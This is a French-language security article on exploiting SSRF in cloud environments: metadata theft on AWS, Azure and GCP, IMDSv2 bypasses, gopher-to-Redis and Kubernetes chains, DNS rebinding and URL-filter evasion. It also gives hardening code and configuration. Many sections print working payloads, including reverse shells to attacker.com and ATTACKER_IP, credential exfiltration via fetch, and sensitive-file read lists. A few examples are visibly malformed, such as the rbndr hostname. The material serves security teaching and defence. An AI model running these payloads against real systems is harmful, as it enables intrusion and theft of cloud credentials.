Le Server-Side Request Forgery reste en 2026 l'une des vulnérabilités les plus sous-estimées et les plus dévastatrices dans les architectures cloud-native. Là où une injection SQL compromet une base de données, un SSRF bien exploité compromet l'infrastructure entière : accès aux métadonnées cloud, pivot vers le réseau interne, vol de credentials IAM, et dans les cas les plus sévères, exécution de code à distance sur des services internes non authentifiés. L'attaque Capital One de 2019 — 100 millions de dossiers clients exfiltrés via un SSRF sur un WAF mal configuré qui accédait aux métadonnées AWS — a démontré l'ampleur du risque. Depuis, les fournisseurs cloud ont renforcé leurs protections (IMDSv2 chez AWS, projet Andromeda chez GCP), mais les contournements évoluent tout aussi vite. Les nouvelles surfaces d'attaque se multiplient : génération de PDF côté serveur, traitement d'images, webhooks, intégrations OAuth, fonctions serverless. Cet article explore les techniques d'exploitation SSRF les plus avancées en 2026, les particularités de chaque fournisseur cloud, et les stratégies de défense qui fonctionnent réellement en production.

Fondamentaux du SSRF : Anatomie d'une Requête Détournée

Un SSRF se produit lorsqu'une application serveur effectue une requête HTTP (ou autre protocole) vers une URL contrôlée par l'attaquant. L'application agit comme un proxy involontaire : elle envoie la requête depuis son propre contexte réseau, avec ses propres permissions, vers une destination choisie par l'attaquant.

Le scénario le plus simple : une application web propose une fonctionnalité de "prévisualisation d'URL" ou de "récupération de flux RSS". L'utilisateur fournit une URL, le serveur la récupère et affiche le contenu. Si le serveur ne valide pas l'URL, l'attaquant peut fournir http://169.254.169.254/latest/meta-data/ pour accéder aux métadonnées de l'instance cloud, ou http://10.0.0.1:8080/admin pour accéder à un service interne.

# Exemple vulnérable en Python (Flask)
@app.route('/preview')
def preview():
    url = request.args.get('url')
    # Aucune validation de l'URL — SSRF direct
    response = requests.get(url)
    return response.text

# Exploitation :
# GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GET /preview?url=http://10.0.0.1:6379/  (accès Redis interne)
# GET /preview?url=file:///etc/passwd
# Exemple vulnérable en Go (Fiber)
app.Get("/fetch", func(c *fiber.Ctx) error {
    targetURL := c.Query("url")
    // Aucune validation — SSRF
    resp, err := http.Get(targetURL)
    if err != nil {
        return c.Status(500).SendString("Error fetching URL")
    }
    defer resp.Body.Close()
    body, _ := io.ReadAll(resp.Body)
    return c.Send(body)
})

La classification des SSRF distingue trois catégories principales. Le SSRF basique (full read) où l'attaquant voit la réponse complète du serveur cible — c'est le cas le plus exploitable. Le SSRF aveugle (blind) où l'attaquant ne voit pas la réponse mais peut déduire des informations via le temps de réponse, les codes d'erreur, ou des canaux out-of-band (DNS, HTTP callback). Le SSRF partiel où seule une partie de la réponse est visible (par exemple, le titre d'une page dans un aperçu de lien).

Point essentiel : Un SSRF n'est pas limité au protocole HTTP. Selon la bibliothèque utilisée par l'application, les protocoles file://, gopher://, dict://, ftp://, ldap:// peuvent être exploités. Chaque protocole ouvre des possibilités d'exploitation différentes — gopher:// permet d'envoyer des données arbitraires sur un port TCP, ce qui permet d'interagir avec Redis, Memcached, SMTP et d'autres services internes.

Exploitation des Métadonnées Cloud : AWS, Azure, GCP

Les services de métadonnées cloud (Instance Metadata Service — IMDS) sont la cible principale des SSRF en environnement cloud. Ces services, accessibles depuis l'instance via une adresse IP link-local (169.254.169.254), fournissent des informations sensibles : identifiants IAM temporaires, configuration réseau, user-data (qui contient souvent des scripts d'initialisation avec des secrets).

AWS IMDSv1 : L'Exploitation Triviale

Le service de métadonnées AWS v1 est accessible par un simple GET sans authentification. Toute requête HTTP vers 169.254.169.254 depuis une instance EC2 obtient une réponse. C'est ce qui a rendu l'attaque Capital One possible.

# Énumération des métadonnées AWS via SSRF
# 1. Identifier le rôle IAM attaché à l'instance
GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Réponse : "mon-role-ec2"

# 2. Récupérer les credentials temporaires
GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/mon-role-ec2

# Réponse :
# {
#   "Code" : "Success",
#   "AccessKeyId" : "ASIA...",
#   "SecretAccessKey" : "wJal...",
#   "Token" : "IQoJ...",
#   "Expiration" : "2026-05-01T12:00:00Z"
# }

# 3. Utiliser ces credentials pour accéder à AWS
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJal..."
export AWS_SESSION_TOKEN="IQoJ..."

aws s3 ls  # Lister tous les buckets
aws iam list-users  # Lister les utilisateurs IAM
aws ec2 describe-instances  # Inventaire des instances

Autres endpoints IMDSv1 intéressants :

# User-data : scripts d'initialisation (contiennent souvent des secrets)
http://169.254.169.254/latest/user-data

# Identité de l'instance
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/hostname

# Réseau interne
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/network/interfaces/macs/

# Informations ECS (si l'instance est un noeud ECS)
http://169.254.170.2/v2/credentials/{guid}

# Informations EKS (token de service account Kubernetes)
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

AWS IMDSv2 : Le Mécanisme de Protection et ses Limites

AWS a introduit IMDSv2 pour contrer les SSRF. IMDSv2 exige un token obtenu via une requête PUT avec un header spécifique. L'idée est qu'un SSRF ne peut pas effectuer de requête PUT ni ajouter des headers personnalisés — la plupart des SSRF exploitent des fonctionnalités qui font des requêtes GET simples.

# IMDSv2 : obtention du token (requête PUT obligatoire)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Utilisation du token pour accéder aux métadonnées
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

IMDSv2 est efficace contre les SSRF simples (GET-only), mais plusieurs scénarios de contournement existent :

Contournement 1 : SSRF avec contrôle de la méthode HTTP. Si la vulnérabilité SSRF permet de choisir la méthode HTTP et d'ajouter des headers, IMDSv2 est contournable. C'est le cas avec certaines bibliothèques de requêtes HTTP configurables (webhook configurables, intégrations API) :

# Si l'application permet de configurer la méthode et les headers :
{
  "webhook_url": "http://169.254.169.254/latest/api/token",
  "method": "PUT",
  "headers": {
    "X-aws-ec2-metadata-token-ttl-seconds": "21600"
  }
}
# Récupère le token IMDSv2, puis une deuxième requête avec ce token
# accède aux métadonnées

Contournement 2 : SSRF via un service interne qui supporte IMDSv2. Si l'attaquant peut atteindre un service interne via SSRF (par exemple un reverse proxy interne, un service mesh, un sidecar), et que ce service interne a accès au IMDS, l'attaquant peut l'utiliser comme relais. Le service interne fait les requêtes PUT/GET vers l'IMDS avec les tokens appropriés.

Gestion des identités

Contournement 3 : hop-limit et conteneurs. IMDSv2 configure un TTL de 1 sur les paquets IP pour empêcher l'accès depuis les conteneurs Docker (qui ajoutent un hop réseau). Mais dans les configurations où les conteneurs partagent le namespace réseau de l'hôte (--network host), ou dans les pods Kubernetes avec hostNetwork: true, cette protection est inefficace :

# Vérifier si le hop-limit bloque l'accès depuis un conteneur
# Si la requête échoue avec TTL exceeded, le hop-limit fonctionne
curl -v --connect-timeout 2 http://169.254.169.254/latest/meta-data/

# Dans un pod K8s avec hostNetwork: true, le hop-limit est contourné
# car le pod partage le namespace réseau du nœud

Enforcement IMDSv2 : La protection réelle consiste à forcer IMDSv2 en désactivant IMDSv1 au niveau de l'instance. Depuis 2024, AWS permet de configurer cela par défaut au niveau du compte via ec2:MetadataHttpTokens :

# Terraform : forcer IMDSv2 sur toutes les instances
resource "aws_instance" "example" {
  ami           = "ami-0abcdef1234567890"
  instance_type = "t3.medium"

  metadata_options {
    http_endpoint               = "enabled"
    http_tokens                 = "required"   # Force IMDSv2
    http_put_response_hop_limit = 1            # Bloque l'accès depuis les conteneurs
    instance_metadata_tags      = "disabled"
  }
}

# SCP (Service Control Policy) pour forcer IMDSv2 au niveau de l'organisation
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RequireIMDSv2",
      "Effect": "Deny",
      "Action": "ec2:RunInstances",
      "Resource": "arn:aws:ec2:*:*:instance/*",
      "Condition": {
        "StringNotEquals": {
          "ec2:MetadataHttpTokens": "required"
        }
      }
    }
  ]
}

Azure IMDS : Particularités

Le service de métadonnées Azure est accessible sur la même adresse (169.254.169.254) mais requiert un header Metadata: true. Ce header offre une protection partielle similaire à IMDSv2 — un SSRF qui ne peut pas ajouter de headers ne peut pas accéder aux métadonnées Azure.

# Accès aux métadonnées Azure
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Token d'identité managée (Managed Identity)
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Réponse :
# {
#   "access_token": "eyJ0eXAi...",
#   "client_id": "...",
#   "expires_in": "86400",
#   "resource": "https://management.azure.com/"
# }

# Ce token Azure AD permet d'accéder à :
# - Azure Resource Manager (gestion de l'infrastructure)
# - Azure Key Vault (secrets)
# - Azure Storage (blobs, tables, queues)
# - Azure SQL Database

La protection par header Metadata: true est contournable dans les mêmes conditions que IMDSv2 : si le SSRF permet d'ajouter des headers. De plus, Azure expose un endpoint alternatif sur le réseau virtuel via le service Wire Server (168.63.129.16) qui fournit des informations sur la VM et le réseau, et peut être exploité dans certains scénarios de SSRF intra-vnet.

Analyse complémentaire

GCP Metadata : L'Évolution de la Protection

Google Cloud Platform a historiquement protégé son service de métadonnées avec le header Metadata-Flavor: Google. Depuis 2020, les nouvelles VMs n'acceptent plus les requêtes sans ce header. Cependant, les VMs créées avant cette date peuvent encore être vulnérables si elles n'ont pas été mises à jour.

# Accès aux métadonnées GCP
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/"

# Token du service account
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Réponse :
# {
#   "access_token": "ya29...",
#   "expires_in": 3599,
#   "token_type": "Bearer"
# }

# Ce token permet d'accéder aux APIs Google Cloud :
# - Cloud Storage (gs://)
# - BigQuery
# - Compute Engine (création/suppression de VMs)
# - Cloud Functions
# - Secret Manager

# Informations sur le projet
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# SSH keys (si configurées au niveau du projet)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"

# Custom metadata (souvent des secrets)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/"

GCP offre une protection supplémentaire avec Workload Identity Federation pour GKE, qui élimine complètement le besoin de tokens de métadonnées dans les clusters Kubernetes. C'est la solution recommandée.

FournisseurEndpointProtectionContournement SSRF
AWS IMDSv1169.254.169.254AucuneGET simple
AWS IMDSv2169.254.169.254Token via PUT + headerSSRF avec contrôle méthode/headers
Azure IMDS169.254.169.254Header Metadata: trueSSRF avec contrôle headers
GCPmetadata.google.internalHeader Metadata-Flavor: GoogleSSRF avec contrôle headers
DigitalOcean169.254.169.254AucuneGET simple
Oracle Cloud169.254.169.254Header AuthorizationSSRF avec contrôle headers

Point essentiel : IMDSv2 et les headers de protection ne sont pas des solutions complètes contre le SSRF. Ils bloquent les SSRF simples (GET-only sans headers), mais tout SSRF qui permet de contrôler la méthode HTTP ou d'ajouter des headers peut les contourner. La défense en profondeur exige également la segmentation réseau, le principe du moindre privilège sur les rôles IAM, et la désactivation de l'IMDS quand il n'est pas nécessaire.

Protocoles Exotiques : gopher://, file://, dict://

La puissance d'un SSRF dépend des protocoles supportés par la bibliothèque HTTP utilisée par l'application vulnérable. Les bibliothèques bas niveau (libcurl, urllib) supportent souvent des protocoles au-delà du HTTP qui ouvrent des possibilités d'exploitation considérables.

gopher:// : Le Couteau Suisse du SSRF

Le protocole Gopher permet d'envoyer des données brutes sur un port TCP. Cela signifie qu'un SSRF avec support gopher:// peut interagir avec n'importe quel service TCP : Redis, Memcached, MySQL, SMTP, FastCGI. L'attaquant encode les données du protocole cible dans l'URL Gopher.

# SSRF vers Redis via gopher://
# Objectif : écrire une clé Redis qui sera exécutée comme cron job

# Payload Redis (commandes pour écrire un reverse shell via cron)
# FLUSHALL
# SET cronpayload "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
# CONFIG SET dir /var/spool/cron/crontabs
# CONFIG SET dbfilename root
# SAVE

# Encodage Gopher (URL-encoded, \r\n = %0D%0A)
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20cronpayload%20%22%5Cn%5Cn%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker.com%2F4444%200%3E%261%5Cn%5Cn%22%0D%0ACONFIG%20SET%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%0D%0ACONFIG%20SET%20dbfilename%20root%0D%0ASAVE%0D%0A

# Utilisation via le SSRF
GET /preview?url=gopher://127.0.0.1:6379/_FLUSHALL%0D%0A...

L'exploitation de Redis via Gopher est particulièrement dévastatrice car Redis est souvent déployé sans authentification sur le réseau interne. D'autres cibles courantes :

# SSRF vers FastCGI (PHP-FPM) via gopher://
# Permet l'exécution de code PHP arbitraire
# L'outil Gopherus génère automatiquement les payloads
python3 gopherus.py --exploit fastcgi
# Enter cmd: id
# Génère l'URL gopher:// encodée

# SSRF vers MySQL via gopher://
# Si MySQL est configuré sans mot de passe ou avec auth_plugin=mysql_native_password
python3 gopherus.py --exploit mysql
# Enter username: root
# Enter query: SELECT LOAD_FILE('/etc/passwd')

# SSRF vers SMTP via gopher://
# Envoi d'emails depuis le serveur vulnérable (phishing interne)
gopher://127.0.0.1:25/_HELO%20attacker.com%0D%0AMAIL%20FROM:%3Cadmin@company.com%3E%0D%0ARCPT%20TO:%3Cvictim@company.com%3E%0D%0ADATA%0D%0ASubject:%20Urgent%0D%0A%0D%0ACliquez%20ici...%0D%0A.%0D%0AQUIT

file:// : Lecture de Fichiers Locaux

Le protocole file:// permet de lire des fichiers sur le système de fichiers du serveur. C'est souvent le premier test d'un SSRF : si file:///etc/passwd retourne du contenu, le SSRF est confirmé avec accès au filesystem.

# Lecture de fichiers sensibles via file://
file:///etc/passwd
file:///etc/shadow           # Souvent non lisible (permissions)
file:///etc/hosts            # Résolution DNS interne
file:///proc/self/environ    # Variables d'environnement (contiennent souvent des secrets)
file:///proc/self/cmdline    # Ligne de commande du processus
file:///proc/net/tcp         # Connexions TCP actives (discovery réseau)
file:///proc/net/arp         # Table ARP (discovery réseau local)

# Fichiers spécifiques selon le stack
file:///var/www/html/.env                    # Secrets Laravel/Node.js
file:///app/config/database.yml              # Credentials Rails
file:///home/user/.aws/credentials           # Clés AWS
file:///home/user/.ssh/id_rsa                # Clé SSH privée
file:///root/.bash_history                   # Historique commandes root
file:///var/run/secrets/kubernetes.io/serviceaccount/token  # Token K8s

dict:// : Interaction avec des Services Réseau

Le protocole dict:// est limité mais peut être utilisé pour du port scanning et l'envoi de commandes simples à des services réseau :

Scanning et analyse

# Port scanning via dict://
dict://127.0.0.1:22/info    # SSH (réponse = banner SSH)
dict://127.0.0.1:6379/info  # Redis (réponse = info Redis)
dict://127.0.0.1:11211/stats  # Memcached

DNS Rebinding : Contourner les Validations d'URL

Le DNS rebinding est une technique qui contourne les validations d'URL basées sur la résolution DNS. L'idée : l'application valide l'URL en résolvant le nom de domaine et en vérifiant que l'IP n'est pas privée. Puis elle effectue la requête. Si entre la validation et la requête, le DNS change de résolution (d'une IP publique vers une IP privée), la validation est contournée.

# Étape 1 : L'attaquant configure un DNS avec un TTL très court
# attacker.com résout vers 1.2.3.4 (IP publique) pendant 1 seconde
# puis vers 169.254.169.254 (métadonnées cloud)

# Étape 2 : L'application reçoit la requête
# GET /preview?url=http://attacker.com/

# Étape 3 : L'application valide l'URL
# → Résolution DNS : attacker.com → 1.2.3.4 (IP publique, OK)
# → Validation passée

# Étape 4 : L'application effectue la requête (quelques millisecondes plus tard)
# → Résolution DNS (cache expiré) : attacker.com → 169.254.169.254
# → Requête envoyée vers les métadonnées cloud
# → SSRF réussi

Des outils comme rbndr (rebinder) de Taviso et singularity de NCC Group automatisent la configuration du DNS rebinding :

# Utilisation de rbndr.us (service public de DNS rebinding)
# Format : [IP_publique].[IP_cible].rbndr.us
# Résolution alternée entre les deux IPs

# Exemple : alterner entre 1.2.3.4 et 169.254.169.254
http://01020304.a]9fea9fe.rbndr.us/latest/meta-data/

# Avec singularity (auto-hébergé)
# Configuration du serveur DNS
{
  "RebsindingFn": "random",
  "RebindingFnArgs": {
    "ips": ["1.2.3.4", "169.254.169.254"]
  },
  "TTL": 0
}

La défense contre le DNS rebinding nécessite de valider l'IP résolue au moment de la connexion, pas au moment de la validation de l'URL. En Go, cela se fait via un DialContext personnalisé :

// Protection contre le DNS rebinding en Go
func safeHTTPClient() *http.Client {
    return &http.Client{
        Timeout: 10 * time.Second,
        Transport: &http.Transport{
            DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
                host, port, err := net.SplitHostPort(addr)
                if err != nil {
                    return nil, err
                }

                // Résoudre le DNS
                ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
                if err != nil {
                    return nil, err
                }

                // Vérifier que TOUTES les IPs résolues sont publiques
                for _, ip := range ips {
                    if isPrivateIP(ip.IP) {
                        return nil, fmt.Errorf("IP privée bloquée : %s", ip.IP)
                    }
                }

                // Se connecter à la première IP publique
                dialer := &net.Dialer{Timeout: 5 * time.Second}
                return dialer.DialContext(ctx, network,
                    net.JoinHostPort(ips[0].IP.String(), port))
            },
        },
    }
}

func isPrivateIP(ip net.IP) bool {
    privateRanges := []string{
        "10.0.0.0/8",
        "172.16.0.0/12",
        "192.168.0.0/16",
        "169.254.0.0/16",  // Link-local (métadonnées cloud)
        "127.0.0.0/8",     // Loopback
        "::1/128",         // IPv6 loopback
        "fc00::/7",        // IPv6 ULA
        "fe80::/10",       // IPv6 link-local
    }
    for _, cidr := range privateRanges {
        _, network, _ := net.ParseCIDR(cidr)
        if network.Contains(ip) {
            return true
        }
    }
    return false
}

Blind SSRF : Exploitation Out-of-Band

Dans un SSRF aveugle, l'attaquant ne voit pas la réponse du serveur cible. L'application peut retourner une page d'erreur générique, un message de succès identique quelle que soit la réponse, ou simplement un statut 200 sans contenu utile. L'exploitation repose sur des canaux alternatifs (out-of-band) pour exfiltrer les données.

Exfiltration via DNS

La technique la plus fiable consiste à encoder les données exfiltrées dans des requêtes DNS vers un serveur contrôlé par l'attaquant. Les requêtes DNS traversent presque tous les firewalls et ne sont généralement pas inspectées :

# Principe : l'application victime fait une requête vers
# http://[données_exfiltrées].attacker-dns.com
# Le serveur DNS de l'attaquant enregistre la requête

# Exploitation pratique avec Burp Collaborator ou interact.sh
# 1. Obtenir un sous-domaine unique
interact_domain="abc123.oast.fun"

# 2. Injecter l'URL avec le sous-domaine
GET /fetch?url=http://abc123.oast.fun/

# 3. Si une requête DNS arrive → le SSRF fonctionne (confirmation)

# 4. Pour exfiltrer des données, combiner avec d'autres vulnérabilités
# Exemple : SSRF qui effectue une redirection
# L'attaquant configure son serveur pour rediriger vers :
# http://[données].abc123.oast.fun/

# Exfiltration du résultat d'une commande via DNS (si RCE via SSRF)
curl "http://$(whoami).abc123.oast.fun/"
# Le serveur DNS reçoit : www-data.abc123.oast.fun → on sait que l'utilisateur est www-data

Exfiltration via HTTP Callback

Si l'application suit les redirections HTTP, l'attaquant peut utiliser son serveur comme relais :

# Serveur de l'attaquant (Python)
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class ExfilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Log la requête (contient les données exfiltrées)
        print(f"Received: {self.path}")
        print(f"Headers: {self.headers}")

        # Rediriger vers la cible interne
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), ExfilHandler).serve_forever()

# L'attaquant injecte : GET /fetch?url=http://attacker.com:8080/
# L'application suit la redirection vers les métadonnées
# Si la réponse n'est pas visible, combiner avec DNS exfiltration

Blind SSRF : Détection par Timing

Même sans canal out-of-band, le temps de réponse de l'application peut révéler des informations :

# Port scanning via timing
# Port ouvert : réponse rapide (le service répond immédiatement)
# Port fermé : réponse avec RST immédiat (rapide aussi, mais différent)
# Port filtré : timeout (réponse lente)

import requests
import time

def ssrf_port_scan(base_url, target_ip, ports):
    results = {}
    for port in ports:
        start = time.time()
        try:
            r = requests.get(
                f"{base_url}/fetch?url=http://{target_ip}:{port}/",
                timeout=5
            )
            elapsed = time.time() - start
            results[port] = {"status": r.status_code, "time": elapsed}
        except requests.Timeout:
            results[port] = {"status": "timeout", "time": 5.0}
    return results

# Exemple de résultat :
# Port 22: time=0.05s → SSH ouvert
# Port 80: time=0.03s → HTTP ouvert
# Port 3306: time=0.04s → MySQL ouvert
# Port 8443: time=5.00s → Filtré/fermé

SSRF via PDF Generation, Webhooks et Image Processing

Les SSRF ne se limitent pas aux fonctionnalités explicites de "fetch URL". De nombreuses fonctionnalités applicatives effectuent des requêtes HTTP côté serveur de manière implicite.

Génération de PDF (wkhtmltopdf, Puppeteer, WeasyPrint)

Les bibliothèques de génération de PDF convertissent du HTML en PDF. Si le HTML contient des ressources externes (images, CSS, iframes), le serveur les récupère. L'injection de HTML dans le contenu converti en PDF devient un vecteur SSRF :

<!-- Injection dans un champ qui sera converti en PDF -->

<!-- SSRF via balise img -->
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">

<!-- SSRF via CSS -->
<link rel="stylesheet" href="http://169.254.169.254/latest/user-data">

<!-- SSRF via iframe (si non bloqué) -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

<!-- Exfiltration via redirection JavaScript (Puppeteer/Headless Chrome) -->
<script>
  fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(d => {
      // Exfiltrer vers le serveur de l'attaquant
      new Image().src = 'http://attacker.com/exfil?data=' + btoa(d);
    });
</script>

<!-- Lecture de fichier local via file:// (wkhtmltopdf) -->
<iframe src="file:///etc/passwd"></iframe>
<embed src="file:///proc/self/environ" type="text/plain">

La génération de PDF est un vecteur SSRF particulièrement dangereux car elle est souvent implémentée dans des fonctionnalités "business" (génération de factures, rapports, contrats) qui échappent à l'attention des équipes sécurité.

Webhooks

Les systèmes de webhooks permettent aux utilisateurs de configurer des URLs de callback. Le serveur envoie des notifications HTTP à ces URLs. Si la validation de l'URL est insuffisante, c'est un SSRF configurable :

# Configuration d'un webhook malveillant via l'API
POST /api/webhooks
{
  "name": "Mon webhook",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "events": ["order.created"]
}

# L'application tente de valider le webhook en envoyant une requête de test
# → La réponse contient les credentials AWS

# Variante avec redirection
POST /api/webhooks
{
  "url": "http://attacker.com/redirect-to-metadata"
}
# Le serveur de l'attaquant répond avec un 302 vers 169.254.169.254

Traitement d'Images (ImageMagick, Pillow, Sharp)

Les bibliothèques de traitement d'images peuvent effectuer des requêtes réseau lors du chargement d'images depuis des URLs, ou lors du traitement de formats vectoriels (SVG) qui référencent des ressources externes :

<!-- SVG malveillant uploadé comme avatar -->
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://169.254.169.254/latest/meta-data/"
         width="100" height="100"/>
</svg>

<!-- SVG avec XXE (ImageMagick versions vulnérables) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="20">&xxe;</text>
</svg>

ImageMagick a une longue histoire de vulnérabilités SSRF et RCE (ImageTragick, CVE-2016-3714). La politique de sécurité /etc/ImageMagick-6/policy.xml doit être configurée pour désactiver les protocoles dangereux :

Renforcement de la sécurité

<!-- /etc/ImageMagick-6/policy.xml -->
<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="HTTP" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="LABEL" />
  <policy domain="path" rights="none" pattern="@*" />
</policymap>

SSRF vers RCE : Chaînes d'Exploitation Complètes

Le SSRF seul permet de lire des données et d'interagir avec des services internes. Combiné avec d'autres vulnérabilités ou des configurations spécifiques, il peut mener à l'exécution de code à distance (RCE).

SSRF → Redis → RCE

Si Redis est accessible via SSRF (via gopher:// ou HTTP), l'attaquant peut écrire des fichiers arbitraires via la commande CONFIG SET dir/dbfilename + SAVE. Les cibles classiques : crontab, authorized_keys SSH, webshell dans le document root.

# Chaîne SSRF → Redis → Cron → Reverse Shell
# 1. SSRF vers Redis via gopher://
# 2. Redis écrit un cron job malveillant
# 3. Cron exécute le reverse shell

# Payload Redis complet :
FLUSHALL
SET x "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE

# Alternative : écriture de clé SSH
SET x "\n\nssh-rsa AAAA... attacker@kali\n\n"
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SAVE

SSRF → Kubernetes API → RCE

Dans un cluster Kubernetes, l'API server est souvent accessible depuis les pods via le service account token monté automatiquement. Un SSRF depuis un pod peut interagir avec l'API Kubernetes pour créer des pods privilégiés ou exécuter des commandes :

# Token Kubernetes (monté automatiquement dans chaque pod)
# Accessible via file:// SSRF
file:///var/run/secrets/kubernetes.io/serviceaccount/token

# API Kubernetes (accessible via SSRF HTTP)
# Lister les pods
GET /fetch?url=https://kubernetes.default.svc/api/v1/namespaces/default/pods
# Header: Authorization: Bearer [token lu via file://]

# Créer un pod privilégié (si le service account a les permissions)
POST /fetch?url=https://kubernetes.default.svc/api/v1/namespaces/default/pods
# Body: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"pwned"},...}

# Exécuter une commande dans un pod existant
GET /fetch?url=https://kubernetes.default.svc/api/v1/namespaces/default/pods/target-pod/exec?command=id

SSRF → Cloud IAM → Infrastructure Complète

La chaîne la plus dévastatrice en environnement cloud : SSRF → métadonnées → credentials IAM → accès complet à l'infrastructure. L'impact dépend des permissions du rôle IAM attaché à l'instance :

# Après récupération des credentials IAM via SSRF
# Vérifier les permissions du rôle
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name mon-role-ec2

# Si le rôle a des permissions S3 :
aws s3 ls  # Lister les buckets
aws s3 cp s3://backup-prod/database.sql.gz /tmp/  # Exfiltrer les backups

# Si le rôle a des permissions EC2 :
aws ec2 describe-instances  # Cartographier l'infrastructure
aws ec2-instance-connect send-ssh-public-key  # Injecter une clé SSH

# Si le rôle a des permissions Lambda :
aws lambda list-functions  # Lister les fonctions
aws lambda get-function --function-name mon-function  # Télécharger le code
aws lambda invoke --function-name mon-function  # Exécuter une fonction

# Si le rôle a des permissions SSM :
aws ssm send-command \
  --instance-ids i-1234567890 \
  --document-name "AWS-RunShellScript" \
  --parameters commands=["bash -i >& /dev/tcp/attacker/4444 0>&1"]
# RCE sur n'importe quelle instance EC2 de l'infra

Point essentiel : L'impact d'un SSRF est multiplié par les permissions du contexte d'exécution. Un rôle IAM avec AdministratorAccess attaché à une instance vulnérable au SSRF donne un accès complet à l'infrastructure cloud. Le principe du moindre privilège sur les rôles IAM est la mesure de défense qui réduit le plus drastiquement l'impact d'un SSRF réussi.

Sécurité cloud

Techniques de Contournement des Filtres

Les applications tentent souvent de se protéger contre le SSRF en filtrant les URLs. Ces filtres sont fréquemment contournables.

Contournement des Blocklists d'IP

# Représentations alternatives de 127.0.0.1
http://127.0.0.1
http://0177.0.0.1          # Octal
http://0x7f.0.0.1          # Hexadécimal
http://2130706433           # Décimal (entier 32 bits)
http://0x7f000001           # Hexadécimal complet
http://127.1                # Raccourci (127.0.0.1)
http://0                    # Équivalent à 0.0.0.0
http://[::1]                # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv6-mapped IPv4
http://[0:0:0:0:0:ffff:7f00:1]  # IPv6-mapped (forme longue)
http://127.0.0.1.nip.io    # Service DNS wildcard
http://localtest.me         # Résout vers 127.0.0.1
http://spoofed.burpcollaborator.net  # DNS contrôlé

# Représentations alternatives de 169.254.169.254
http://0xa9fea9fe           # Hexadécimal
http://2852039166            # Décimal
http://0251.0376.0251.0376  # Octal
http://169.254.169.254.nip.io

Contournement des Allowlists de Domaine

# Si le filtre vérifie que l'URL contient "example.com"
http://example.com@attacker.com          # Le @ fait que example.com est le userinfo
http://attacker.com#example.com          # Le # fait que example.com est le fragment
http://attacker.com/example.com          # example.com est dans le path
http://example.com.attacker.com          # Sous-domaine de attacker.com

# Si le filtre vérifie que l'URL commence par "https://api.example.com"
https://api.example.com@attacker.com/
https://api.example.com%252F@attacker.com/  # Double URL encoding

# Abus du parsing d'URL
http://foo@169.254.169.254:80@example.com/
# Certains parsers considèrent example.com comme l'hôte (validation OK)
# Mais la bibliothèque HTTP se connecte à 169.254.169.254

Contournement par Redirection

# L'application vérifie l'URL initiale mais suit les redirections
# L'attaquant configure son serveur pour rediriger vers l'IP interne

# Étape 1 : L'URL passe le filtre
GET /fetch?url=http://attacker.com/redirect

# Étape 2 : Le serveur de l'attaquant répond
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/

